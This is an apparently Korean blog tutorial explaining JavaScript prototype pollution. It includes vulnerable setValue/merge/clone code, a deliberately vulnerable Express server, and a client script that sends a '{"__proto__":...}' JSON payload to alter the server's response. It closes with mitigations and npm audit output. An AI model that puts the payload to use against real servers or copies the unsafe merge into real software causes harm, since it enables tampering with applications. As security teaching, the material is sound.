2018년 NorthSec의 Olivier Arteau라는 사람이 발표한 논문에서 발견했습니다.
공격자가 JS언어 고유의 프로토타입 체인 동작 원리를 이용해 웹 서버를 공격하는 방법을 prototype-pollutions
이라고 합니다.
lodash를 시작으로 많은 모듈이 프로토타입 오염 취약점이 있다는 내용입니다.
현재는 대부분 모듈이 패치되었습니다.
__proto__
는 ES6에서 추가되었습니다.
기본적으로 객체 리터럴
의 __proto__
는 Object.prototype
과 같다는 것을 이용해 다른 객체 속성에 영향을 주는 방식입니다.
const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1
위 예시에서 obj1의 프로토타입 객체를 조작(수정) 함으로 써 아무 상관이 없던 obj2의 프로토타입의 속성 값이(obj2.polluted)이 undefined
가 아닌 1
로 출력 되었습니다.
논문에서는 객체 프로토타입 오염이 일어날 수 있는 세 가지 패턴으로
속성 설정
객체 병합
객체 복사
를 소개 합니다.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1
위와 비슷한 기능을 제공하는 유저 모듈에서 프로토타입 오염
취약점이 발견, 수정되었습니다. 수정된 부분을 살펴보면 key에 __proto__
가 있을 경우 건너 뛰도록 돼있습니다.
논문에서는 실제 CMS 서버에 비밀번호 재설정에 필요한 JSON을 조작해 공격하는 방법을 소개합니다.
다음은 JSON을 받아 어떠한 처리를 하는 간단한 웹 API를 이용해 프로토타입 오며
공격에 의해 응답이 조작되는 샘플입니다.
외부에서 전달받은 JSON을 그대로 복사 합니다.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function merge(a, b) {
for (let key in b) {
// 이 부분에서 key가 __proto__ 일 때에 건너뛰어야 한다.
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
function clone(obj) {
return merge({}, obj);
}
const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
// 여기에서 악의적인 JSON을 그대로 복사함으로써 객체의 프로토타입 오염이 일어난다
const obj = clone(req.body);
const r = {};
// 프로토타입 오염에 의해 r.status가 변조된다.
const status = r.status ? r.status: 'NG';
res.send(status)
});
app.listen(1234);
__proto__
속성을 갖는 JSON을 서버에 전달해 공격합니다.
const http = require('http');
const client = http.request({
host: 'localhost',
port: 1234,
method: 'POST'
}, (res) => {
res.on('data', (chunk) => {
console.log(chunk.toString());
});
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);
전달한 JSON에 의해 서버의 객체 프로토타입이 오염되어 응답의 값이 NG
가 아닌 polluted
로 변경됩니다.
$ node client.js
polluted
이 공격을 방지하는 대책으로는 3가지 방법이 있습니다.
Object.prototype
이나 Object
를 freeze
하여 변경을 불가능하게 하는 방법. 부작용으로 정상적인 모듈임에도 이 조치로 동작하지 않을 수 도 있습니다.Map
을 사용. ES5 이전 환경에서는 불가해당 공격은 취약점이 알려진 사용자 모듈 대부분 고쳐진 상태입니다.
그래도 궁금하시다면 npm audit
으로 확인 해볼 수 있습니다.
$ npm audit
=== npm audit security report ===
# Run npm install lodash@4.17.11 to resolve 1 vulnerability
Low Prototype Pollution
Package lodash
Dependency of lodash
Path lodash
More info https://nodesecurity.io/advisories/577
found 1 low severity vulnerability in 1 scanned package
run `npm audit fix` to fix 1 of them.